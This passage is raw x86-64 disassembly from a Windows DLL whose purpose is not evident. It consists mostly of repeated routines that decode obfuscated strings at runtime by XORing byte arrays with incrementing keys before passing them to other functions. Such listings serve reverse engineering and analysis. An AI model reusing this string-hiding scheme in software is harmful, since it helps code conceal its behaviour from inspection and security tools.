psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x54], xmm1
jmp 0x1800d5669
lea r9, [rbp - 0x54]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800d5640
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x200]
lea rcx, [rbp - 0x54]
call fcn.180013bd0
movzx eax, word [0x1801b3458]
movsd xmm0, qword [0x1801b3450]
mov word [rbp + 0x4d0], ax
movsd qword [rbp + 0x4c8], xmm0
movzx eax, byte [0x1801b345a]
mov byte [rbp + 0x4c8], 0x45
xor byte [rbp + 0x4c9], 0x38
xor byte [rbp + 0x4ca], 0x39
xor byte [rbp + 0x4cb], 0x3a
xor byte [rbp + 0x4cc], 0x3b
xor byte [rbp + 0x4cd], 0x3c
xor byte [rbp + 0x4ce], 0x3d
xor byte [rbp + 0x4cf], 0x3e
xor byte [rbp + 0x4d0], 0x3f
xor byte [rbp + 0x4d1], 0x40
xor al, 0x41
mov byte [rbp + 0x4d2], al
mov eax, dword [0x1801b3444]
mov dword [rbp + 0x34], eax
movzx ecx, word [0x1801b3448]
mov word [rbp + 0x38], cx
movzx eax, byte [0x1801b344a]
mov byte [rbp + 0x34], 0x45
xor byte [rbp + 0x35], 0x38
xor byte [rbp + 0x36], 0x39
xor byte [rbp + 0x37], 0x3a
xor cl, 0x3b
mov byte [rbp + 0x38], cl
xor byte [rbp + 0x39], 0x3c
xor al, 0x3d
mov byte [rbp + 0x3a], al
lea r8, [rbp + 0x4c8]
lea rdx, [0x1802efde0]
lea rcx, [rbp + 0x34]
call fcn.18004abb0
cmp byte [0x1802efde0], 0
je 0x1800d61f6
movsd xmm0, qword [0x1801b3460]
movsd qword [rbp + 0x3e8], xmm0
movzx eax, word [0x1801b3468]
mov word [rbp + 0x3f0], ax
cmp byte [0x1801b3469], 0
je 0x1800d57c7
mov byte [rbp + 0x3e8], 0x45
xor byte [rbp + 0x3e9], 0x38
xor byte [rbp + 0x3ea], 0x39
xor byte [rbp + 0x3eb], 0x3a
xor byte [rbp + 0x3ec], 0x3b
xor byte [rbp + 0x3ed], 0x3c
xor byte [rbp + 0x3ee], 0x3d
xor byte [rbp + 0x3ef], 0x3e
xor byte [rbp + 0x3f0], 0x3f
xor byte [rbp + 0x3f1], 0x40
mov r8, rdi
lea rdx, [0x1802efde1]
lea rcx, [rbp + 0x3e8]
call fcn.18004abb0
movsd xmm0, qword [0x1801b3470]
movsd qword [rbp + 0x548], xmm0
mov ecx, dword [0x1801b3478]
mov dword [rbp + 0x550], ecx
cmp byte [0x1801b347b], 0
je 0x1800d5989
mov r8d, esi
cmp r14d, 2
jl 0x1800d594f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b3470]
xorps xmm1, xmm0
movd dword [rbp + 0x548], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54c]
xorps xmm2, xmm1
movd dword [rbp + 0x54c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x550], xmm2
jmp 0x1800d5989
lea r9, [rbp + 0x548]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800d5960
mov r8, rdi
lea rdx, [0x1802efde2]
lea rcx, [rbp + 0x548]
call fcn.18004abb0
movsd xmm0, qword [0x1801b3480]
movsd qword [rbp + 0x378], xmm0
movzx eax, byte [0x1801b3488]
mov byte [rbp + 0x378], 0x45
xor byte [rbp + 0x379], 0x38
xor byte [rbp + 0x37a], 0x39
xor byte [rbp + 0x37b], 0x3a
xor byte [rbp + 0x37c], 0x3b
xor byte [rbp + 0x37d], 0x3c
xor byte [rbp + 0x37e], 0x3d
xor byte [rbp + 0x37f], 0x3e
xor al, 0x3f
mov byte [rbp + 0x380], al
mov r8, rdi
lea rdx, [0x1802efde3]
lea rcx, [rbp + 0x378]
call fcn.18004abb0
movsd xmm0, qword [0x1801b3490]
movsd qword [rbp + 0x5b8], xmm0
mov ecx, dword [0x1801b3498]
mov dword [rbp + 0x5c0], ecx
movzx eax, byte [0x1801b349c]
mov byte [rbp + 0x5c4], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d5b82
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b3490]
xorps xmm1, xmm0
movd dword [rbp + 0x5b8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5bc]
xorps xmm2, xmm1
movd dword [rbp + 0x5bc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x5c0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x5b8]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800d5b90
mov r8, rdi
lea rdx, [0x1802efde6]
lea rcx, [rbp + 0x5b8]
call fcn.18004abb0
movsd xmm0, qword [0x1801b34a0]
movsd qword [rbp + 0x678], xmm0
mov ecx, dword [0x1801b34a8]
mov dword [rbp + 0x680], ecx
movzx eax, word [0x1801b34ac]
mov word [rbp + 0x684], ax
cmp byte [0x1801b34ad], 0
je 0x1800d5da0
mov r8d, esi
cmp r14d, 2
jl 0x1800d5d5a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b34a0]
xorps xmm1, xmm0
movd dword [rbp + 0x678], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x67c]
xorps xmm2, xmm1
movd dword [rbp + 0x67c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x680], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x678]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800d5d70
mov r8, rdi
lea rdx, [0x1802efde4]
lea rcx, [rbp + 0x678]
call fcn.18004abb0
movsd xmm0, qword [0x1801b34b0]
movsd qword [rbp + 0x688], xmm0
mov ecx, dword [0x1801b34b8]
mov dword [rbp + 0x690], ecx
movzx eax, word [0x1801b34bc]
mov word [rbp + 0x694], ax
cmp byte [0x1801b34bd], 0
je 0x1800d5f80
mov r8d, esi
cmp r14d, 2
jl 0x1800d5f3a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b34b0]
xorps xmm1, xmm0
movd dword [rbp + 0x688], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68c]
xorps xmm2, xmm1
movd dword [rbp + 0x68c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x690], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x688]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800d5f50
mov r8, rdi
lea rdx, [0x1802efde5]
lea rcx, [rbp + 0x688]
call fcn.18004abb0
movsd xmm0, qword [0x1801b34c0]
movsd qword [rbp + 0x3d8], xmm0
movzx eax, word [0x1801b34c8]
mov word [rbp + 0x3e0], ax
mov r8, rdi
lea rdx, [0x1802efde8]
lea rcx, [rbp + 0x3d8]
cmp byte [0x1801b34c9], 0
je 0x1800d6014
mov byte [rbp + 0x3d8], 0x45
xor byte [rbp + 0x3d9], 0x38
xor byte [rbp + 0x3da], 0x39
xor byte [rbp + 0x3db], 0x3a
xor byte [rbp + 0x3dc], 0x3b
xor byte [rbp + 0x3dd], 0x3c
xor byte [rbp + 0x3de], 0x3d
xor byte [rbp + 0x3df], 0x3e
xor byte [rbp + 0x3e0], 0x3f
xor byte [rbp + 0x3e1], 0x40
call fcn.18004abb0
movzx eax, word [0x1801b34dc]
mov word [rbp + 0x6f4], ax
movzx eax, byte [0x1801b34de]
mov ecx, dword [0x1801b34d8]
movsd xmm0, qword [0x1801b34d0]
mov byte [rbp + 0x6f6], al
mov dword [rbp + 0x6f0], ecx
movsd qword [rbp + 0x6e8], xmm0
mov r8d, esi
cmp r14d, 2
jl 0x1800d619d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b34d0]
xorps xmm1, xmm0
movd dword [rbp + 0x6e8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6ec]
xorps xmm2, xmm1
movd dword [rbp + 0x6ec], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x6f0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x6e8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800d61b0
mov r8, rdi
lea rdx, [0x1802efde7]
lea rcx, [rbp + 0x6e8]
call fcn.18004abb0
mov cl, 1
call fcn.180017290
mov dword [rbp + 0x208], 0x41400000
mov dword [rbp + 0x20c], 0x438e8000
lea rcx, [rbp + 0x208]
call fcn.180024f20
movzx eax, word [0x1801b34f0]
mov word [rbp - 0x74], ax
cmp byte [0x1801b34f1], 0
je 0x1800d6239
mov byte [rbp - 0x74], 0x33
xor byte [rbp - 0x73], 0x38
lea r10, [rbp - 0x74]
mov dword [rbp + 0x210], 0x43910000
mov dword [rbp + 0x214], 0x43070000
movups xmm1, xmmword [str.vTSUUNJM___1_6F]
movups xmmword [rbp + 0x868], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1800d6459
mov r8d, esi
cmp r14d, 2
jl 0x1800d6427
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.vTSUUNJM___1_6F]
xorps xmm1, xmm0
movd dword [rbp + 0x868], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x86c]
xorps xmm2, xmm1
movd dword [rbp + 0x86c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x870]
xorps xmm2, xmm1
movd dword [rbp + 0x870], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x874]
xorps xmm2, xmm1
movd dword [rbp + 0x874], xmm2
jmp 0x1800d6459
lea r9, [rbp + 0x868]
nop
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800d6430
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x868]
call fcn.180013bd0
movsd xmm0, qword [0x1801b34f8]
mov ecx, dword [0x1801b3500]
movzx eax, byte [0x1801b3504]
movsd qword [rbp + 0x5c8], xmm0
mov dword [rbp + 0x5d0], ecx
mov byte [rbp + 0x5d4], al
mov r8d, esi
cmp r14d, 2
jl 0x1800d65f2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801b34f8]
xorps xmm1, xmm0
movd dword [rbp + 0x5c8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5cc]
xorps xmm2, xmm1
movd dword [rbp + 0x5cc], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x5d0], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x5c8]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800d6600
mov r8, rdi
lea rdx, [0x1802efbf2]
lea rcx, [rbp + 0x5c8]
call fcn.18004abb0
movsd xmm0, qword [0x1801b3508]
movsd qword [rbp + 0x3c8], xmm0
movzx eax, word [0x1801b3510]
mov word [rbp + 0x3d0], ax
mov r8, rdi
lea rdx, [0x1802efbf3]
lea rcx, [rbp + 0x3c8]
cmp byte [0x1801b3511], 0
je 0x1800d66c4
mov byte [rbp + 0x3c8], 0x45
xor byte [rbp + 0x3c9], 0x38
xor byte [rbp + 0x3ca], 0x39
xor byte [rbp + 0x3cb], 0x3a
xor byte [rbp + 0x3cc], 0x3b
xor byte [rbp + 0x3cd], 0x3c
xor byte [rbp + 0x3ce], 0x3d
xor byte [rbp + 0x3cf], 0x3e
xor byte [rbp + 0x3d0], 0x3f
xor byte [rbp + 0x3d1], 0x40
call fcn.18004abb0
movzx eax, byte [0x1801b3530]
movsd xmm0, qword [0x1801b3528]
movups xmm2, xmmword [str.QJNZ]
mov byte [rbp + 0xba8], al
movsd qword [rbp + 0xba0], xmm0
movups xmmword [rbp + 0xb90], xmm2
mov r8d, esi
cmp r14d, 2
jl 0x1800d6981
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb90], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb94]
xorps xmm2, xmm1
movd dword [rbp + 0xb94], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb98]
xorps xmm2, xmm1
movd dword [rbp + 0xb98], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb9c]
xorps xmm2, xmm1
movd dword [rbp + 0xb9c], xmm2
movdqa xmm3, xmmword [0x180173d00]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm3, xmm0
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp + 0xba0]
xorps xmm3, xmm1
movd dword [rbp + 0xba0], xmm3
movdqa xmm2, xmmword [0x180173d10]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xba4]
xorps xmm2, xmm1
movd dword [rbp + 0xba4], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0xb90]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1800d6990
mov r8, rdi
lea rdx, [0x1802efbf4]
